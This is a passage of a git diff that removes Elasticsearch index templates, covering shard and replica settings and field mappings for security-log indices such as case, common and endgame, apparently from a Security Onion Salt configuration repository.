"number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-bluecoat-template.json.jinja b/salt/elasticsearch/templates/so/so-bluecoat-template.json.jinja deleted file mode 100644 index b1714183e..000000000 --- a/salt/elasticsearch/templates/so/so-bluecoat-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-bluecoat:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-bluecoat:refresh', '30s') %} -{ - "index_patterns": ["so-bluecoat-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-case-template.json.jinja b/salt/elasticsearch/templates/so/so-case-template.json.jinja deleted file mode 100644 index a61bd21be..000000000 --- a/salt/elasticsearch/templates/so/so-case-template.json.jinja +++ /dev/null @@ -1,226 +0,0 @@ -{%- set INDEX_SORTING = salt['pillar.get']('elasticsearch:index_sorting', True) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-common:refresh', '30s') %} -{ - "index_patterns": ["so-case*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":1, - "index.refresh_interval":"{{ REFRESH }}", - "index.routing.allocation.require.box_type":"hot", - "index.mapping.total_fields.limit": "1500" - }, - "mappings": { - "_meta": { - "version": "1.5.0" - }, - "dynamic": false, - "date_detection": false, - "properties": { - "@timestamp": { - "type": "date" - }, - "so_kind": { - "type": "keyword", - "ignore_above": 1024 - }, - "so_operation": { - "type": "keyword", - "ignore_above": 1024 - }, - "so_audit_doc_id": { - "type": "keyword", - "ignore_above": 1024 - }, - "so_artifact": { - "properties": { - "artifactType": { - "type": "keyword", - "ignore_above": 1024 - }, - "caseId": { - "type": "keyword", - "ignore_above": 1024 - }, - "createTime": { - "type": "date" - }, - "description": { - "type": "text" - }, - "groupId": { - "type": "keyword", - "ignore_above": 1024 - }, - "groupType": { - "type": "keyword", - "ignore_above": 1024 - }, - "ioc": { - "type": "boolean" - }, - "md5": { - "type": "keyword", - "ignore_above": 1024 - }, - "mimeType": { - "type": "keyword", - "ignore_above": 1024 - }, - "sha1": { - "type": "keyword", - "ignore_above": 1024 - }, - "sha256": { - "type": "keyword", - "ignore_above": 1024 - }, - "streamId": { - "type": "keyword", - "ignore_above": 1024 - }, - "streamLength": { - "type": "long" - }, - "tags": { - "type": "keyword", - "ignore_above": 1024 - }, - "tlp": { - "type": "keyword", - "ignore_above": 1024 - }, - "userId": { - "type": "keyword", - "ignore_above": 1024 - }, - "value": { - "type": "text", - "fields": { - "keyword": { - "type": "keyword", - "ignore_above": 1024 - } - } - } - } - }, - "so_artifactstream": { - "properties": { - "content": { - "type": "text" - }, - "createTime": { - "type": "date" - }, - "userId": { - "type": "keyword", - "ignore_above": 1024 - } - } - }, - "so_case": { - "properties": { - "assigneeId": { - "type": "keyword", - "ignore_above": 1024 - }, - "category": { - "type": "keyword", - "ignore_above": 1024 - }, - "completeTime": { - "type": "date" - }, - "createTime": { - "type": "date" - }, - "description": { - "type": "text" - }, - "pap": { - "type": "keyword", - "ignore_above": 1024 - }, - "priority": { - "type": "long" - }, - "severity": { - "type": "keyword", - "ignore_above": 1024 - }, - "startTime": { - "type": "date" - }, - "status": { - "type": "keyword", - "ignore_above": 1024 - }, - "tags": { - "type": "keyword", - "ignore_above": 1024 - }, - "template": { - "type": "keyword", - "ignore_above": 1024 - }, - "title": { - "type": "text" - }, - "tlp": { - "type": "keyword", - "ignore_above": 1024 - }, - "userId": { - "type": "keyword", - "ignore_above": 1024 - } - } - }, - "so_comment": { - "properties": { - "caseId": { - "type": "keyword", - "ignore_above": 1024 - }, - "createTime": { - "type": "date" - }, - "description": { - "type": "text" - }, - "userId": { - "type": "keyword", - "ignore_above": 1024 - } - } - }, - "so_related": { - "properties": { - "caseId": { - "type": "keyword", - "ignore_above": 1024 - }, - "createTime": { - "type": "date" - }, - "fields": { - "eager_global_ordinals": false, - "ignore_above": 1024, - "index": true, - "type": "flattened", - "index_options": "docs", - "split_queries_on_whitespace": false, - "doc_values": true - }, - "userId": { - "type": "keyword", - "ignore_above": 1024 - } - } - } - } - } -} diff --git a/salt/elasticsearch/templates/so/so-cef-template.json.jinja b/salt/elasticsearch/templates/so/so-cef-template.json.jinja deleted file mode 100644 index 0081d42e1..000000000 --- a/salt/elasticsearch/templates/so/so-cef-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-cef:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-cef:refresh', '30s') %} -{ - "index_patterns": ["so-cef-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-checkpoint-template.json.jinja b/salt/elasticsearch/templates/so/so-checkpoint-template.json.jinja deleted file mode 100644 index 5d41946cf..000000000 --- a/salt/elasticsearch/templates/so/so-checkpoint-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-checkpoint:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-checkpoint:refresh', '30s') %} -{ - "index_patterns": ["so-checkpoint-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-cisco-template.json.jinja b/salt/elasticsearch/templates/so/so-cisco-template.json.jinja deleted file mode 100644 index e6e6d14d0..000000000 --- a/salt/elasticsearch/templates/so/so-cisco-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-cisco:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-cisco:refresh', '30s') %} -{ - "index_patterns": ["so-cisco-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-common-template.json.jinja b/salt/elasticsearch/templates/so/so-common-template.json.jinja deleted file mode 100644 index 4a41cba8a..000000000 --- a/salt/elasticsearch/templates/so/so-common-template.json.jinja +++ /dev/null @@ -1,702 +0,0 @@ -{%- set INDEX_SORTING = salt['pillar.get']('elasticsearch:index_sorting', True) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-common:refresh', '30s') %} -{ - "index_patterns": ["so-*"], - "version":50001, - "order":10, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":1, - "index.refresh_interval":"{{ REFRESH }}", - "index.routing.allocation.require.box_type":"hot", - "index.mapping.total_fields.limit": "1500", -{%- if INDEX_SORTING is sameas true %} - "index.sort.field": "@timestamp", - "index.sort.order": "desc", -{%- endif %} - "analysis": { - "analyzer": { - "es_security_analyzer": { - "type": "custom", - "char_filter": [ "whitespace_no_way" ], - "filter": [ "lowercase", "trim" ], - "tokenizer": "keyword" - } - }, - "char_filter": { - "whitespace_no_way": { - "type": "pattern_replace", - "pattern": "(\\s)+", - "replacement": "$1" - } - }, - "filter" : { - "path_hierarchy_pattern_filter": { - "type" : "pattern_capture", - "preserve_original": true, - "patterns": [ - "((?:[^\\\\]*\\\\)*)(.*)", - "((?:[^/]*/)*)(.*)" - ] - } - }, - "tokenizer": { - "path_tokenizer": { - "type": "path_hierarchy", - "delimiter": "\\" - } - } - } - }, - "mappings":{ - "dynamic":false, - "date_detection":false, - "dynamic_templates": [ - { - "ip_address": { - "match_mapping_type": "string", - "path_match": "*.ip", - "mapping": { - "type": "ip", - "fields" : { - "keyword" : { - "ignore_above" : 45, - "type" : "keyword" - } - } - - } - } - }, - { - "port": { - "path_match": "*.port", - "path_unmatch": "*.data.port", - "mapping": { - "type": "integer", - "fields" : { - "keyword" : { - "ignore_above" : 6, - "type" : "keyword" - } - } - - } - } - }, - { - "strings": { - "match_mapping_type": "string", - "mapping": { - "type": "text", - "fields": { - "keyword": { - "ignore_above": 32765, - "type": "keyword" - }, - "security": { - "type": "text", - "analyzer": "es_security_analyzer" - } - } - } - } - }], - "properties":{ - "@timestamp":{ - "type":"date" - }, - "@version":{ - "type":"keyword" - }, - "osquery":{ - "type":"object", - "dynamic":true - }, - "geoip":{ - "dynamic":true, - "properties":{ - "ip":{ - "type":"ip" - }, - "location":{ - "type":"geo_point" - }, - "latitude":{ - "type":"half_float" - }, - "longitude":{ - "type":"half_float" - } - } - }, - "destination_geo":{ - "dynamic":true, - "properties":{ - "ip":{ - "type":"ip" - }, - "location":{ - "type":"geo_point" - }, - "latitude":{ - "type":"half_float" - }, - "longitude":{ - "type":"half_float" - } - } - }, - "source_geo":{ - "dynamic":true, - "properties":{ - "ip":{ - "type":"ip" - }, - "location":{ - "type":"geo_point" - }, - "latitude":{ - "type":"half_float" - }, - "longitude":{ - "type":"half_float" - } - } - }, - "agent":{ - "type":"object", - "dynamic": true - }, - "as":{ - "type":"object", - "dynamic": true - }, - "alert":{ - "type":"object", - "dynamic": true - }, - "client":{ - "type":"object", - "dynamic": true - }, - "cloud":{ - "type":"object", - "dynamic": true - }, - "code_signature":{ - "type":"object", - "dynamic": true - }, - "connection":{ - "type":"object", - "dynamic": true - }, - "container":{ - "type":"object", - "dynamic": true - }, - "data":{ - "type":"object", - "dynamic": true - }, - "dce_rpc":{ - "type":"object", - "dynamic": true - }, - "destination":{ - "type":"object", - "dynamic": true - }, - "dhcp":{ - "type":"object", - "dynamic": true - }, - "dnp3":{ - "type":"object", - "dynamic": true - }, - "dns":{ - "type":"object", - "dynamic": true - }, - "dll":{ - "type":"object", - "dynamic": true - }, - "ecs":{ - "type":"object", - "dynamic": true - }, - "error":{ - "type":"object", - "dynamic": true - }, - "event":{ - "type":"object", - "dynamic": true - }, - "event_data":{ - "type":"object", - "dynamic": true - }, - "file":{ - "type":"object", - "dynamic": true - }, - "flow":{ - "type":"object", - "dynamic": true - }, - "ftp":{ - "type":"object", - "dynamic": true - }, - "geo":{ - "type":"object", - "dynamic": true - }, - "group":{ - "type":"object", - "dynamic": true - }, - "hash":{ - "type":"object", - "dynamic": true - }, - "host":{ - "type":"object", - "dynamic": true - }, - "http":{ - "type":"object", - "dynamic": true - }, - "import":{ - "type":"object", - "dynamic": true - }, - "ingest":{ - "type":"object", - "dynamic": true, - "properties":{ - "timestamp":{ - "type":"date" - } - } - }, - "intel":{ - "type":"object", - "dynamic": true, - "properties":{ - "indicator":{ - "type":"text", - "fields":{ - "keyword":{ - "type":"keyword" - } - } - } - } - }, - "interface":{ - "type":"object", - "dynamic": true - }, - "ip":{ - "type":"object", - "dynamic": true - }, - "irc":{ - "type":"object", - "dynamic": true - }, - "kerberos":{ - "type":"object", - "dynamic": true - }, - "log":{ - "type":"object", - "dynamic": true - }, - "logscan": { - "type": "object", - "dynamic": true - }, - "manager":{ - "type":"object", - "dynamic": true - }, - "message":{ - "type":"text", - "fields":{ - "keyword":{ - "type":"keyword", - "ignore_above": 32766 - } - } - }, - "modbus":{ - "type":"object", - "dynamic": true - }, - "mysql":{ - "type":"object", - "dynamic": true - }, - "network":{ - "type":"object", - "dynamic": true - }, - "notice":{ - "type":"object", - "dynamic": true - }, - "ntlm":{ - "type":"object", - "dynamic": true - }, - "observer":{ - "type":"object", - "dynamic": true - }, - "organization":{ - "type":"object", - "dynamic": true - }, - "os":{ - "type":"object", - "dynamic": true - }, - "package":{ - "type":"object", - "dynamic": true - }, - "pe":{ - "type":"object", - "dynamic": true - }, - "process":{ - "type":"object", - "dynamic": true - }, - "radius":{ - "type":"object", - "dynamic": true - }, - "rdp":{ - "type":"object", - "dynamic": true - }, - "registry":{ - "type":"object", - "dynamic": true - }, - "related":{ - "type":"object", - "dynamic": true - }, - "request":{ - "type":"object", - "dynamic": true - }, - "result":{ - "type":"object", - "dynamic": true - }, - "rfb":{ - "type":"object", - "dynamic": true - }, - "rule":{ - "type":"object", - "dynamic":true, - "properties":{ - "score":{ - "type":"long" - }, - "uuid":{ - "type":"keyword" - } - } - }, - "scan":{ - "type":"object", - "dynamic": true, - "properties":{ - "exiftool":{ - "type":"text" - } - } - }, - "server":{ - "type":"object", - "dynamic": true - }, - "service":{ - "type":"object", - "dynamic": true - }, - "sip":{ - "type":"object", - "dynamic": true - }, - "smb":{ - "type":"object", - "dynamic": true - }, - "smtp":{ - "type":"object", - "dynamic": true - }, - "snmp":{ - "type":"object", - "dynamic": true - }, - "socks":{ - "type":"object", - "dynamic": true - }, - "software":{ - "type":"object", - "dynamic": true - }, - "source":{ - "type":"object", - "dynamic": true - }, - "ssh":{ - "type":"object", - "dynamic": true - }, - "ssl":{ - "type":"object", - "dynamic": true - }, - "syslog":{ - "type":"object", - "dynamic": true - }, - "tags":{ - "type":"text", - "fields":{ - "keyword":{ - "type":"keyword" - } - } - }, - "threat":{ - "type":"object", - "dynamic": true - }, - "tls":{ - "type":"object", - "dynamic": true - }, - "trace":{ - "type":"object", - "dynamic": true - }, - "tunnel":{ - "type":"object", - "dynamic": true - }, - "user":{ - "type":"object", - "dynamic": true - }, - "user_agent":{ - "type":"object", - "dynamic": true - }, - "version":{ - "type":"object", - "dynamic": true - }, - "vlan":{ - "type":"object", - "dynamic": true - }, - "vulnerability":{ - "type":"object", - "dynamic": true - }, - "weird":{ - "type":"object", - "dynamic": true - }, - "winlog":{ - "type":"object", - "dynamic": true, - "properties":{ - "event_id":{ - "type":"long" - }, - "event_data":{ - "type":"object" - }, - "version":{ - "type":"long" - } - } - }, - "x509":{ - "type":"object", - "dynamic": true - }, - "suricata":{ - "type":"object", - "dynamic": true - }, - "zeek":{ - "type":"object", - "dynamic": true - }, - "aws":{ - "type":"object", - "dynamic": true - }, - "azure":{ - "type":"object", - "dynamic": true - }, - "barracuda":{ - "type":"object", - "dynamic": true - }, - "bluecoat":{ - "type":"object", - "dynamic": true - }, - "cef":{ - "type":"object", - "dynamic": true - }, - "checkpoint":{ - "type":"object", - "dynamic": true - }, - "cisco":{ - "type":"object", - "dynamic": true - }, - "cyberark":{ - "type":"object", - "dynamic": true - }, - "cylance":{ - "type":"object", - "dynamic": true - }, - "f5":{ - "type":"object", - "dynamic": true - }, - "fortinet":{ - "type":"object", - "dynamic": true - }, - "gcp":{ - "type":"object", - "dynamic": true - }, - "google_workspace":{ - "type":"object", - "dynamic": true - }, - "imperva":{ - "type":"object", - "dynamic": true - }, - "infoblox":{ - "type":"object", - "dynamic": true - }, - "juniper":{ - "type":"object", - "dynamic": true - }, - "microsoft":{ - "type":"object", - "dynamic": true - }, - "misp":{ - "type":"object", - "dynamic": true - }, - "netflow":{ - "type":"object", - "dynamic": true - }, - "netscout":{ - "type":"object", - "dynamic": true - }, - "o365":{ - "type":"object", - "dynamic": true - }, - "okta":{ - "type":"object", - "dynamic": true - }, - "proofpoint":{ - "type":"object", - "dynamic": true - }, - "radware":{ - "type":"object", - "dynamic": true - }, - "snort":{ - "type":"object", - "dynamic": true - }, - "snyk":{ - "type":"object", - "dynamic": true - }, - "sonicwall":{ - "type":"object", - "dynamic": true - }, - "sophos":{ - "type":"object", - "dynamic": true - }, - "squid":{ - "type":"object", - "dynamic": true - }, - "tomcat":{ - "type":"object", - "dynamic": true - }, - "zcaler":{ - "type":"object", - "dynamic": true - }, - "elasticsearch":{ - "type":"object", - "dynamic": true - }, - "kibana":{ - "type":"object", - "dynamic": true - }, - "logstash":{ - "type":"object", - "dynamic": true - }, - "redis":{ - "type":"object", - "dynamic": true - }, - "wazuh":{ - "type":"object", - "dynamic": true - } - } - } -} diff --git a/salt/elasticsearch/templates/so/so-cyberark-template.json.jinja b/salt/elasticsearch/templates/so/so-cyberark-template.json.jinja deleted file mode 100644 index 1647d600f..000000000 --- a/salt/elasticsearch/templates/so/so-cyberark-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-cyberark:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-cyberark:refresh', '30s') %} -{ - "index_patterns": ["so-cyberark-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-cylance-template.json.jinja b/salt/elasticsearch/templates/so/so-cylance-template.json.jinja deleted file mode 100644 index 4ba7d0316..000000000 --- a/salt/elasticsearch/templates/so/so-cylance-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-cylance:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-cylance:refresh', '30s') %} -{ - "index_patterns": ["so-cylance-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-elasticsearch-template.json.jinja b/salt/elasticsearch/templates/so/so-elasticsearch-template.json.jinja deleted file mode 100644 index 16aaaec13..000000000 --- a/salt/elasticsearch/templates/so/so-elasticsearch-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-elasticsearch:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-elasticsearch:refresh', '30s') %} -{ - "index_patterns": ["so-elasticsearch-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-endgame-template.json.jinja b/salt/elasticsearch/templates/so/so-endgame-template.json.jinja deleted file mode 100644 index 6d2b89b27..000000000 --- a/salt/elasticsearch/templates/so/so-endgame-template.json.jinja +++ /dev/null @@ -1,2976 +0,0 @@ -{ - "index_patterns": ["endgame-*"], - "version":50002, - "order":1, - "mappings": { - "_meta": { - "version": "1.5.0" - }, - "date_detection": false, - "dynamic_templates": [ - { - "strings_as_keyword": { - "mapping": { - "ignore_above": 1024, - "type": "keyword" - }, - "match_mapping_type": "string" - } - } - ], - "properties": { - "@timestamp": { - "type": "date" - }, - "agent": { - "properties": { - "ephemeral_id": { - "ignore_above": 1024, - "type": "keyword", - "fields": { - "keyword": { - "type": "keyword" - } - } - }, - "id": { - "ignore_above": 1024, - "type": "keyword", - "fields": { - "keyword": { - "type": "keyword" - } - } - }, - "name": { - "ignore_above": 1024, - "type": "keyword", - "fields": { - "keyword": { - "type": "keyword" - } - } - }, - "type": { - "ignore_above": 1024, - "type": "keyword", - "fields": { - "keyword": { - "type": "keyword" - } - } - }, - "version": { - "ignore_above": 1024, - "type": "keyword", - "fields": { - "keyword": { - "type": "keyword" - } - } - } - } - }, - "client": { - "properties": { - "address": { - "ignore_above": 1024, - "type": "keyword" - }, - "as": { - "properties": { - "number": { - "type": "long" - }, - "organization": { - "properties": { - "name": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - } - } - } - } - }, - "bytes": { - "type": "long" - }, - "domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "geo": { - "properties": { - "city_name": { - "ignore_above": 1024, - "type": "keyword" - }, - "continent_name": { - "ignore_above": 1024, - "type": "keyword" - }, - "country_iso_code": { - "ignore_above": 1024, - "type": "keyword" - }, - "country_name": { - "ignore_above": 1024, - "type": "keyword" - }, - "location": { - "type": "geo_point" - }, - "name": { - "ignore_above": 1024, - "type": "keyword" - }, - "region_iso_code": { - "ignore_above": 1024, - "type": "keyword" - }, - "region_name": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "ip": { - "type": "ip" - }, - "mac": { - "ignore_above": 1024, - "type": "keyword" - }, - "nat": { - "properties": { - "ip": { - "type": "ip" - }, - "port": { - "type": "long" - } - } - }, - "packets": { - "type": "long" - }, - "port": { - "type": "long" - }, - "registered_domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "top_level_domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "user": { - "properties": { - "domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "email": { - "ignore_above": 1024, - "type": "keyword" - }, - "full_name": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - }, - "group": { - "properties": { - "domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "id": { - "ignore_above": 1024, - "type": "keyword" - }, - "name": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "hash": { - "ignore_above": 1024, - "type": "keyword" - }, - "id": { - "ignore_above": 1024, - "type": "keyword" - }, - "name": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - } - } - } - } - }, - "cloud": { - "properties": { - "account": { - "properties": { - "id": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "availability_zone": { - "ignore_above": 1024, - "type": "keyword" - }, - "instance": { - "properties": { - "id": { - "ignore_above": 1024, - "type": "keyword" - }, - "name": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "machine": { - "properties": { - "type": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "provider": { - "ignore_above": 1024, - "type": "keyword" - }, - "region": { - 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"type": "keyword" - }, - "args_count": { - "type": "long" - }, - "code_signature": { - "properties": { - "exists": { - "type": "boolean" - }, - "status": { - "ignore_above": 1024, - "type": "keyword" - }, - "subject_name": { - "ignore_above": 1024, - "type": "keyword" - }, - "trusted": { - "type": "boolean" - }, - "valid": { - "type": "boolean" - } - } - }, - "command_line": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - }, - "entity_id": { - "ignore_above": 1024, - "type": "keyword" - }, - "executable": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - }, - "exit_code": { - "type": "long" - }, - "hash": { - "properties": { - "md5": { - "ignore_above": 1024, - "type": "keyword" - }, - "sha1": { - "ignore_above": 1024, - "type": "keyword" - }, - "sha256": { - "ignore_above": 1024, - "type": "keyword" - }, - "sha512": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "name": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - }, - "parent": { - "properties": { - "args": { - "ignore_above": 1024, - "type": "keyword" - }, - "args_count": { - "type": "long" - }, - "code_signature": { - "properties": { - "exists": { - "type": "boolean" - }, - "status": { - "ignore_above": 1024, - "type": "keyword" - }, - "subject_name": { - "ignore_above": 1024, - "type": "keyword" - }, - "trusted": { - "type": "boolean" - }, - "valid": { - "type": "boolean" - } - } - }, - "command_line": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - }, - "entity_id": { - "ignore_above": 1024, - "type": "keyword" - }, - "executable": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - }, - "exit_code": { - "type": "long" - }, - "hash": { - "properties": { - "md5": { - "ignore_above": 1024, - "type": "keyword" - }, - "sha1": { - "ignore_above": 1024, - "type": "keyword" - }, - "sha256": { - "ignore_above": 1024, - "type": "keyword" - }, - "sha512": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "name": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - }, - "pgid": { - "type": "long" - }, - "pid": { - "type": "long" - }, - "ppid": { - "type": "long" - }, - "start": { - "type": "date" - }, - "thread": { - "properties": { - "id": { - "type": "long" - }, - "name": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "title": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - }, - "uptime": { - "type": "long" - }, - "working_directory": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "pe": { - "properties": { - "company": { - "ignore_above": 1024, - "type": "keyword" - }, - "description": { - "ignore_above": 1024, - "type": "keyword" - }, - "file_version": { - "ignore_above": 1024, - "type": "keyword" - }, - "original_file_name": { - "ignore_above": 1024, - "type": "keyword" - }, - "product": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "pgid": { - "type": "long" - }, - "pid": { - "type": "long" - }, - "ppid": { - "type": "long" - }, - "start": { - "type": "date" - }, - "thread": { - "properties": { - "id": { - "type": "long" - }, - "name": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "title": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - }, - "uptime": { - "type": "long" - }, - "working_directory": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "registry": { - "properties": { - "data": { - "properties": { - "bytes": { - "ignore_above": 1024, - "type": "keyword" - }, - "strings": { - "ignore_above": 1024, - "type": "keyword" - }, - "type": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "hive": { - "ignore_above": 1024, - "type": "keyword" - }, - "key": { - "ignore_above": 1024, - "type": "keyword" - }, - "path": { - "ignore_above": 1024, - "type": "keyword" - }, - "value": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "related": { - "properties": { - "hash": { - "ignore_above": 1024, - "type": "keyword" - }, - "ip": { - "type": "ip" - }, - "user": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "rule": { - "dynamic": false, - "properties": { - "author": { - "ignore_above": 1024, - "type": "keyword" - }, - "category": { - "ignore_above": 1024, - "type": "keyword" - }, - "description": { - "ignore_above": 1024, - "type": "keyword" - }, - "id": { - "ignore_above": 1024, - "type": "keyword" - }, - "license": { - "ignore_above": 1024, - "type": "keyword" - }, - "name": { - "ignore_above": 1024, - "type": "keyword" - }, - "reference": { - "ignore_above": 1024, - "type": "keyword" - }, - "ruleset": { - "ignore_above": 1024, - "type": "keyword" - }, - "uuid": { - "ignore_above": 1024, - "type": "keyword" - }, - "version": { - "ignore_above": 1024, - "type": "keyword" - } - }, - "type": "object" - }, - "server": { - "properties": { - "address": { - "ignore_above": 1024, - "type": "keyword" - }, - "as": { - "properties": { - "number": { - "type": "long" - }, - "organization": { - "properties": { - "name": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - } - } - } - } - }, - "bytes": { - "type": "long" - }, - "domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "geo": { - "properties": { - "city_name": { - "ignore_above": 1024, - "type": "keyword" - }, - "continent_name": { - "ignore_above": 1024, - "type": "keyword" - }, - "country_iso_code": { - "ignore_above": 1024, - "type": "keyword" - }, - "country_name": { - "ignore_above": 1024, - "type": "keyword" - }, - "location": { - "type": "geo_point" - }, - "name": { - "ignore_above": 1024, - "type": "keyword" - }, - "region_iso_code": { - "ignore_above": 1024, - "type": "keyword" - }, - "region_name": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "ip": { - "type": "ip" - }, - "mac": { - "ignore_above": 1024, - "type": "keyword" - }, - "nat": { - "properties": { - "ip": { - "type": "ip" - }, - "port": { - "type": "long" - } - } - }, - "packets": { - "type": "long" - }, - "port": { - "type": "long" - }, - "registered_domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "top_level_domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "user": { - "properties": { - "domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "email": { - "ignore_above": 1024, - "type": "keyword" - }, - "full_name": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - }, - "group": { - "properties": { - "domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "id": { - "ignore_above": 1024, - "type": "keyword" - }, - "name": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "hash": { - "ignore_above": 1024, - "type": "keyword" - }, - "id": { - "ignore_above": 1024, - "type": "keyword" - }, - "name": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - } - } - } - } - }, - "service": { - "properties": { - "ephemeral_id": { - "ignore_above": 1024, - "type": "keyword" - }, - "id": { - "ignore_above": 1024, - "type": "keyword" - }, - "name": { - "ignore_above": 1024, - "type": "keyword", - "fields": { - "keyword": { - "type": "keyword" - } - } - }, - "node": { - "properties": { - "name": { - "ignore_above": 1024, - "type": 